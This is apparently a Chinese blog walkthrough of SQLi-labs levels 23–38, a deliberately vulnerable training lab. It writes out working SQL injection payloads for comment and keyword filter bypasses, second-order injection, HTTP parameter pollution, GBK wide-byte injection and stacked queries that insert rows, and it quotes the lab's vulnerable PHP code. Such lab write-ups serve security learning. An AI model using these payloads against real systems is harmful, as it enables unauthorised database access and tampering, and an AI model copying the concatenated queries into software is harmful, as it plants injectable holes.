SQL-labs通关(23-38)

发布于:2025-06-12 ⋅ 阅读:(31) ⋅ 点赞:(0)

SQL-labs靶场详解

靶场下载

靶场下载地址

SQL-labs(LeveL1-22)

关卡

由于查询语句在上一博客讲述的前22关中已经介绍,这里只演示到爆出库名,如果还想更深入的去注入,可以浏览上期博客。

level23注释过滤

题目是Get传参且过滤了#,–+的注释方式

通过测试,已知这里有两种注释方式

payload:
?id=-1'union select 1,database(),3'
?id=-1'union select 1,database(),3 and '1'='1
这两个都会爆出库名,剩下的操作就不再演示了

level24二次注入

打开题目发现这题比之前的题目都更贴近显示,有了登录页面,注册页面,还有忘记密码,修改密码等等

这里通过代码审计发现在登录时会转义用户名和密码中输入的特殊字符’,",\……

且发现在注册页面对两者没有过滤

所以我们可以直接注册一个admin'#用户,然后直接登录
登录后跳转到密码修改的地方,我们将密码修改成111
再次登录admin时,发现可以使用111进行登录,在此之前是不可以的。
1.为什么能登录?
  1. 我们通过上述方法修改了admin账户的密码

  2. 然后用 admin'# 作为用户名和新设置的密码登录

  3. 登录时的SQL查询可能是:

    SELECT * FROM users WHERE username='admin'#' AND password='[password]'
    

    这相当于:

    SELECT * FROM users WHERE username='admin'
    
  4. 系统返回admin账户的记录,成功以admin身份登录

2.为什么登录中的转义失效了?
  1. 第一次存储时的转义
    • 当用户注册 admin'# 时,系统确实会转义单引号,变成 admin\'#
    • 这个转义后的字符串被安全地存储到数据库中
  2. 问题出在读取使用时
    • 当系统从数据库读取这个用户名时,得到的是 原始存储的值 admin'#(不是转义形式)
    • 程序错误地认为"从数据库取出的数据是安全的",直接将其拼接到新SQL语句中
    • 此时不再进行转义处理,导致注入发生

注意:转义字符(\)本身不会被存入数据库,只是告诉SQL解析器如何处理特殊字符

level25过滤or,and

经过测试,我们发现过滤or和and的方法是直接替换为空,且替换过后不会再次检测,这时就可以通过双写绕过了

例如我们输入oorr,中见的or被去除后,过滤后为or,得到了我们想要的payload,我想本题目作者可能是想要考察这一点。

但是如果我们使用联合注入:
?id=-1'union select 1,database(),3--+
此时过滤对我们没有丝毫影响,也可以顺利的爆出库名,剩下的操作不再赘述

level26过滤空格

通过审计代码,我们了解到这里过滤了很多字符,包括空格,or,and,#,–+等等

这里我们可以直接使用第18关的payload
?id=1' aandnd(updatexml(1,concat(0x7e, database(),0x7e),1))anandd '1'='
成功爆出库名

level27过滤union,select

通过审计代码,得知这里过滤了union和select,#,–+和其他特殊字符

我们依旧可以使用报错注入,依旧可以使用第18关的payload:
?id=1' and(updatexml(1,concat(0x7e, database(),0x7e),1))and '1'='
成功爆出库名

level28过滤pro

通过审计代码,得知这里过滤了union select还是无论大小写,同时也过滤了,#,–+和其他特殊字符

这里我们可以使用%09.%0a来代替空格,使用%00截断,来代替注释符

源码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
payload:
?id=0')%09ununion%09selection%09select%091,database(),3;%00

level29http请求的参数污染

这里我随便输入了一个payload:
?id=-1%27union%20select%201,database(),3--+
发现成功的爆出了库名,怎么回事,这么简单,不是说是世界上最好的防火墙吗,查看wp后发现这里考的是基于'的http请求的参数污染注入

先看代码

index.php

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
//disable error reporting
error_reporting(0);

// take the variables 
if(isset($_GET['id']))
{
	$id=$_GET['id'];
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);

	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;

// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
	  	echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];
	  	echo "<br>";
	  	echo 'Your Password:' .$row['password'];
	  	echo "</font>";
  	}
	else 
	{
		echo '<font color= "#FFFF00">';
		print_r(mysqli_error($con1));
		echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

login.php

<?php
if(isset($_GET['id']))
{
	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
	$id1=java_implimentation($qs);
	$id=$_GET['id'];
	//echo $id1;
	whitelist($id1);
	
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);
	

// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
	  	echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];
	  	echo "<br>";
	  	echo 'Your Password:' .$row['password'];
	  	echo "</font>";
  	}
	else 
	{
		echo '<font color= "#FFFF00">';
		print_r(mysqli_error($con1));
		echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}



// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);

	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}
?>

login.php中的

java_implimentation函数:
将原始查询字符串按“&”分割成数组,也就是将id=1&id=2分割为[id=1,id=2],并返回id后的值
whitelist函数:
检测用户输入是否完全由数字组成。

查过资料后了解到,tomcat与apache不同的是:

tomcat服务器只解析参数中的前者,而apache服务器则解析后者,也就是说,whitelist函数只检查前者

根据本题,我们只需要传入?id=1&id=-1’payload即可

payload:
	?id=1&id=-1' union select 1,database(),3--+
成功爆出库名

level30“+http请求的参数污染

本题考察到了双引号闭合,其他方面与上一关一样,payload参考上一关即可

level31”)+http请求的参数污染注入

本题考察到了双引号+括号闭合,其他方面与上一关一样,payload参考上一关即可

level32宽字节注入

介绍
  1. 字符集特性
    • GBK等宽字符集中,某些字符由两个字节组成
    • 第一个字节(前导字节)通常大于0x7F
  2. 转义漏洞
    • 当系统使用addslashes()mysql_real_escape_string()转义单引号时
    • 转义会在单引号(')前添加反斜杠(\,ASCII码0x5C)
    • 如果前一个字符的某个字节与反斜杠组合形成有效的宽字符,就会"吃掉"反斜杠
这里我们可以在单引号前输入%df导致%df\变成了運
payload:
?id=-1%df%27union%20select%201,database(),3--+
成功爆出库名

level33GET宽字节

payload和上关相同

level34Post宽字节

首先测试字段数,直到uname==a%df'order by 2#不会出现报错
payload:
	uname==a%df'union select 1,database()#&passwd=1&submit=Submit
成功爆出库名

level35整数型注入

不太明白这里为什么会出现这么简单的题目,可能是作者想考察其他的方面

payload:
	?id=-1%20union%20select%201,database(),3--+
成功爆出库名

level36宽字节

随便输入?id=1发现和前面宽字节考察很像

payload:
	?id=-1%df%27union%20select%201,database(),3--+
没想到随便输入了一个payload就爆出了库名,看过源码之后才发现,相较于前面,本题多了一个mysql_real_escape_string函数,其作用主要是转义单引号,双引号,反斜杠,回车符,换行符等特殊字符,但是这里并没有对我们的payload造成影响

level37POST宽字节注入

有了前面的经验,我们可以直接使用第34关的payload

payload:
	uname==a%df'union select 1,database()#&passwd=1&submit=Submit

level38堆叠注入

这里随便输入了一个payload:
	?id=-1%27union%20select%201,database(),3--+
没想到成功的爆出了库名
看过wp才知道,这里考的是堆叠注入,payload:
?id=-1' ;
insert into users(id,username,password)
values(20,'zhangsan','123')
 -- a

这里我试了使用?id=-1’;show databases();–+发现并没有什么效果,这时为什么呢,查过资料后才明白

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
...
mysqli_multi_query($con1, $sql)

也就是说,你控制的是 $id,它会拼接到 SQL 中变成:

SELECT * FROM users WHERE id='你的输入' LIMIT 0,1;
并且使用了mysqli_multi_query(),该函数支持堆叠注入

所以放我们输入payload-1'; INSERT INTO users(id,username,password) VALUES(20,'zhangsan','123') --

拼接后会变成

SELECT * FROM users WHERE id='-1'; 
INSERT INTO users(id,username,password) VALUES(20,'zhangsan','123') --' LIMIT 0,1;

这样解释的话,我们输入?id=-1';show databases();--+按理说应该成功,但是失败的原因在于

  if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';	
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1))
    {
            //printf("-----------------\n");
    }

虽是运行使用拼接注入,但是这里只能返回第一个查询语句的结果,当我们show database()时,确实执行了这个语句,但由于源码,只能看到select 1……的结果,而我们的insert语句,不需要回显,只需要执行,即可将数据写入到库中

结语

这部分考察的范围主要是各种字符的过滤和宽字节注入,核心还是那些查询语句。

声明

本文章学习自未知百分百Jay 17士别三日wyx君衍
本文章用于记录和分享自己的学习过程,如有错误希望各位大佬及时指出,共勉!